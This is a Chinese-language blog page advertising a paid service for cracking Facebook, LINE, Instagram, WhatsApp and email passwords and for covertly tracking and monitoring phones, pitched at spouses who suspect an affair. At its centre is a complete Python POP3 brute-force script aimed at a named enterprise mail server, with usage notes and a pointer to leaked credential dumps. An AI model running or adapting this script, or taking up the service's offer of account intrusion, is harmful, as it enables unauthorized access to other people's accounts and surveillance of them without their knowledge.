FB密碼破解 facebook破解 line密碼破解 line密碼破解

line記錄,line聊天訊息 Instagram密碼破解.

whatsapp破解 手機定位 手機監控.ig密碼破解

聯絡電郵hkpj007@outlook.com FB通訊記錄調查

小三調查  出軌調查 手機調查 

 我們是收費破解,破解的是對方現在正在使用的密碼,

安全保密,及驗證碼我們有最新的技術都可以為你解決,

你只需要提供對方的ID號及手機號或網址給我們,其它的交

給我們就可以 我們的聯絡電郵hkpj007@outlook.com

  • 2018/10/19

電郵密碼破解 hotmail密碼破解 gmail密碼破解 yahoo電郵密碼破解 台灣電郵密碼破解

引用本文加入書籤轉寄本文
電郵密碼破解 hotmail密碼破解 gmail密碼破解 yahoo電郵密碼破解 台灣電郵密碼破解
密碼破解高手專家提供您facebook、gmail、hotmail、skype、yahoo、Lline等各種郵件信箱破解密碼、信箱入侵破碼、駭客入侵程式,您有任何關於密碼破解等技術支援服務,歡迎請找台灣最專業的密碼破解大師為您解決任何疑難雜症。專業駭客破解line密碼聯絡電郵hkpj007@outlook.com 《全天24*7在線為你服務》

電郵密碼破解 hotmail密碼破解 gmail密碼破解 yahoo電郵密碼破解 台灣電郵密碼破解 
密碼破解高手專家提供您facebook、gmail、hotmail、skype、yahoo、Lline等各種郵件信箱破解密碼、信箱入侵破碼、駭客入侵程式,您有任何關於密碼破解等技術支援服務,歡迎請找台灣最專業的密碼破解大師為您解決任何疑難雜症。專業駭客破解line密碼聯絡電郵hkpj007@outlook.com 《全天24*7在線為你服務》
 
我先說下整體思路:
 
總體就是利用python的poplib模塊來從pop3服務器上交互,根據獲取的相關信息,產生結果。POP3協議並不復雜,它也是采用的壹問壹答式的方式,妳向服務器發送壹個命令,服務器必然會回復壹個信息.
 
首先驗證參數是否正確
Sys.argv[]是用來獲取命令行參數的,sys.argv[0]表示代碼本身文件路徑,所以參數從1開始
然後從用戶密碼文件中讀取信息
pop.getwelcome()用來獲取連接服務器的響應狀態
然後就是腳本的核心代碼部分
 
1
2
3
4
5
6
server = "pop.qiye.163.com" //設置pop3服務器地址
pop = poplib.POP3(server,110) //連接pop3服務器
pop.user(user) //驗證用戶名
auth = pop.pass_(passwd) //驗證密碼
if auth.split(' ')[0]== "+OK": //判斷響應的結果是否“OK”
    pring user,passwd
最後輸出出來相關的用戶信息
 
腳本代碼如下:
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:w2n1ck
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''
import threading, time, random, sys, poplib
from copy import copy
if len(sys.argv) !=3:
  print "\t   --------------------------------------------------\n"
  print "\t    Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
  sys.exit(1)
server = "pop.qiye.163.com"
success = []
try:
    users = open(sys.argv[1], "r").readlines()
except(IOError):
    print "[-] Error: urerlist打開失敗!\n"
    sys.exit(1)
try:
    words = open(sys.argv[2], "r").readlines()
except(IOError):
    print "[-] Error: passlist打開失敗!\n"
    sys.exit(1)
try:
  pop = poplib.POP3(server,110)
  welcome = pop.getwelcome()
  print welcome
  pop.quit()
except (poplib.error_proto):
  welcome = "No Response"
  pass
def mailbruteforce(listuser,listpwd):
  if len(listuser) < 1 or len(listpwd) < 1 :
    print "An error occurred: No user or pass list"
    return 1
  for user in listuser:
    for value in listpwd :
      user = user.replace("\n","")
      value = value.replace("\n","")
      try:
        print "-"*12
        print "[+] User:",user,"Password:",value
        time.sleep(1)
        pop = poplib.POP3(server,110)
        pop.user(user)
        auth = pop.pass_(value)
        print auth
        if auth.split(' ')[0]!= "+OK" :
          pop.quit()
          print "unknown error !"
          continue
        if pop.stat()[1] is None or pop.stat()[1] < 1 :
          pop.quit()
          print "獲取信息失敗!"
          continue
        ret = (user,value,pop.stat()[0],pop.stat()[1])
        success.append(ret)
        pop.quit()
        break
      except:
        #print "An error occurred:", msg
        pass
print "\t   --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
  for ret in success:
    print "\n\n[+] Login successful:",ret[0], ret[1]
    print "\t[+] Mail:",ret[2],"emails"
    print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"
測試結果:
 
 
 
說明:
用戶字典文件需要@domain.com,類似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com這樣的。由於我也沒有企業郵箱的賬號密碼,也就沒測試成功的,要是感興趣,可以搜壹下相關社工褲。
 
附:
 
python 中 os._exit(), sys.exit(), exit() 的區別是什麽?
 
sys.exit(n) 退出程序引發壹個SystemExit異常, 可以捕獲異常執行些清理工作. n默認值為0, 表示正常退出. 其他都是非正常退出. 沒有捕獲這個異常,會直接退出;捕獲這個異常可以做壹些額外的清理工作。 壹般主程序中使用此退出
os._exit(n), 直接退出 Python 解釋器,其後的代碼都不執行, 不拋異常, 不執行相關清理工作. 常用在子進程的退出.
exit() 跟 C 語言等其他語言的 exit() 應該是壹樣的
pop3收取郵件的過程壹般是:
 
連接pop3服務器 (poplib.POP3.__init__)
發送用戶名和密碼進行驗證 (poplib.POP3.user poplib.POP3.pass_)
獲取郵箱中信件信息 (poplib.POP3.stat)
收取郵件 (poplib.POP3.retr)
刪除郵件 (poplib.POP3.dele)
退出 (poplib.POP3.quit)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
命令 poplib方法    參數     狀態     描述
-----------------------------------------------------------------------------------------------
USER  user     username  認可  用戶名,此命令與下面的pass命令若成功,將導致狀態轉換
PASS  pass_   password  認可  用戶密碼   
APOP  apop   Name,Digest 認可   Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT  stat    None     處理  請求服務器發回關於郵箱的統計資料,如郵件總數和總字節數
UIDL  uidl   [Msg#]    處理  返回郵件的唯壹標識符,POP3會話的每個標識符都將是唯壹的
LIST  list   [Msg#]    處理  返回郵件數量和每個郵件的大小
RETR  retr   [Msg#]     處理  返回由參數標識的郵件的全部文本
DELE  dele   [Msg#]     處理  服務器將由參數標識的郵件標記為刪除,由quit命令執行
RSET  rset   None      處理   服務器將重置所有標記為刪除的郵件,用於撤消DELE命令
TOP   top     [Msg#]    處理   服務器將返回由參數標識的郵件前n行內容,n必須是正整數
NOOP  noop   None    處理  服務器返回壹個肯定的響應
0
0

複製引用網址

回應
共 0 筆

黑客服?
  • 暱    稱:黑客服? 
  • 部落分類:  
  • 我的好友們(0
  • 誰加我為好友(0
  • 我的收藏部落(0
  • 姓名:李* 
  • Email:hkpj007@outlook.com 
  • 自我介紹:專業駭客破解line密碼聯絡電郵hkpj007@outlook.com 《全天24*7在線為你服務》 

《MORE》

1427

本日人氣:5
累積人氣:84955